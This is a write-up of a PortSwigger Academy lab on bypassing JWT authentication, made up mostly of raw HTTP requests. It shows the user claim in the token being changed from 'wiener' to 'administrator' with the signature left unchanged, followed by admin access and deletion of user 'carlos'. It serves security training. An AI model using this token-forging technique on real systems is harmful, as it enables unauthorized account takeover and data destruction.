Port Swigger JWT authentication bypass via unverif

JWT authentication bypass via unverified signature

Solution

Login to website as user: wiener

GET /my-account?id=wiener HTTP/2
Host: 0a500015048272518208656b006b0037.web-security-academy.net
Cookie: session=eyJraWQiOiIwOTA5NjZiOS1mZGZlLTQ4MGEtYTRjYi1lZWFjNGE2OGM1NWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoid2llbmVyIn0.Gjnf9IaEBmevxS4sG9xSHW_ScgSp0HWaE9t8dScbGS5PnYUCPpn9wPDtct8d9xipDHC3WTUuFyO5j-1FvJV-8Ql_Pea4CfyzL2Zkbe8J2ePFICBw97IIteazVT6Yk96qFsjA2jz4GcUuMyF7fNrgqegTHIcZKNB_7WLMPP_cHvutO9GJuSID-vZ0S4tsv0SgRDE--fk-ha7IY3MhnatuCf7bNrmmwFBCKYFUCGQgmX1iempt-xBdKG1fINvV-sStNTkbiOdVwfZZ2dKvMOXH-pO_qKtgS6Qj4zB7gFzNxJMMeTrFO6In0DRdODYFdfNcudum02RBMepp_cY6Wtg8EQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a500015048272518208656b006b0037.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Try open the /admin

GET /admin HTTP/2
Host: 0a500015048272518208656b006b0037.web-security-academy.net
Cookie: session=eyJraWQiOiIwOTA5NjZiOS1mZGZlLTQ4MGEtYTRjYi1lZWFjNGE2OGM1NWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoid2llbmVyIn0.Gjnf9IaEBmevxS4sG9xSHW_ScgSp0HWaE9t8dScbGS5PnYUCPpn9wPDtct8d9xipDHC3WTUuFyO5j-1FvJV-8Ql_Pea4CfyzL2Zkbe8J2ePFICBw97IIteazVT6Yk96qFsjA2jz4GcUuMyF7fNrgqegTHIcZKNB_7WLMPP_cHvutO9GJuSID-vZ0S4tsv0SgRDE--fk-ha7IY3MhnatuCf7bNrmmwFBCKYFUCGQgmX1iempt-xBdKG1fINvV-sStNTkbiOdVwfZZ2dKvMOXH-pO_qKtgS6Qj4zB7gFzNxJMMeTrFO6In0DRdODYFdfNcudum02RBMepp_cY6Wtg8EQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Edit JWT token

Change username in token from wiener to administrator
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoid2llbmVyIn0 = user wiener
eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9 = user administrator
---
GET /admin HTTP/2
Host: 0a500015048272518208656b006b0037.web-security-academy.net
Cookie: session=eyJraWQiOiIwOTA5NjZiOS1mZGZlLTQ4MGEtYTRjYi1lZWFjNGE2OGM1NWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.Gjnf9IaEBmevxS4sG9xSHW_ScgSp0HWaE9t8dScbGS5PnYUCPpn9wPDtct8d9xipDHC3WTUuFyO5j-1FvJV-8Ql_Pea4CfyzL2Zkbe8J2ePFICBw97IIteazVT6Yk96qFsjA2jz4GcUuMyF7fNrgqegTHIcZKNB_7WLMPP_cHvutO9GJuSID-vZ0S4tsv0SgRDE--fk-ha7IY3MhnatuCf7bNrmmwFBCKYFUCGQgmX1iempt-xBdKG1fINvV-sStNTkbiOdVwfZZ2dKvMOXH-pO_qKtgS6Qj4zB7gFzNxJMMeTrFO6In0DRdODYFdfNcudum02RBMepp_cY6Wtg8EQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Delete user: carlos

GET /admin HTTP/2
Host: 0a500015048272518208656b006b0037.web-security-academy.net
Cookie: session=eyJraWQiOiIwOTA5NjZiOS1mZGZlLTQ4MGEtYTRjYi1lZWFjNGE2OGM1NWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.Gjnf9IaEBmevxS4sG9xSHW_ScgSp0HWaE9t8dScbGS5PnYUCPpn9wPDtct8d9xipDHC3WTUuFyO5j-1FvJV-8Ql_Pea4CfyzL2Zkbe8J2ePFICBw97IIteazVT6Yk96qFsjA2jz4GcUuMyF7fNrgqegTHIcZKNB_7WLMPP_cHvutO9GJuSID-vZ0S4tsv0SgRDE--fk-ha7IY3MhnatuCf7bNrmmwFBCKYFUCGQgmX1iempt-xBdKG1fINvV-sStNTkbiOdVwfZZ2dKvMOXH-pO_qKtgS6Qj4zB7gFzNxJMMeTrFO6In0DRdODYFdfNcudum02RBMepp_cY6Wtg8EQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers
---
GET /admin/delete?username=carlos HTTP/2
Host: 0a500015048272518208656b006b0037.web-security-academy.net
Cookie: session=eyJraWQiOiIwOTA5NjZiOS1mZGZlLTQ4MGEtYTRjYi1lZWFjNGE2OGM1NWUiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc2NTc1NDk0Niwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.Gjnf9IaEBmevxS4sG9xSHW_ScgSp0HWaE9t8dScbGS5PnYUCPpn9wPDtct8d9xipDHC3WTUuFyO5j-1FvJV-8Ql_Pea4CfyzL2Zkbe8J2ePFICBw97IIteazVT6Yk96qFsjA2jz4GcUuMyF7fNrgqegTHIcZKNB_7WLMPP_cHvutO9GJuSID-vZ0S4tsv0SgRDE--fk-ha7IY3MhnatuCf7bNrmmwFBCKYFUCGQgmX1iempt-xBdKG1fINvV-sStNTkbiOdVwfZZ2dKvMOXH-pO_qKtgS6Qj4zB7gFzNxJMMeTrFO6In0DRdODYFdfNcudum02RBMepp_cY6Wtg8EQ
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a500015048272518208656b006b0037.web-security-academy.net/admin
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

Solved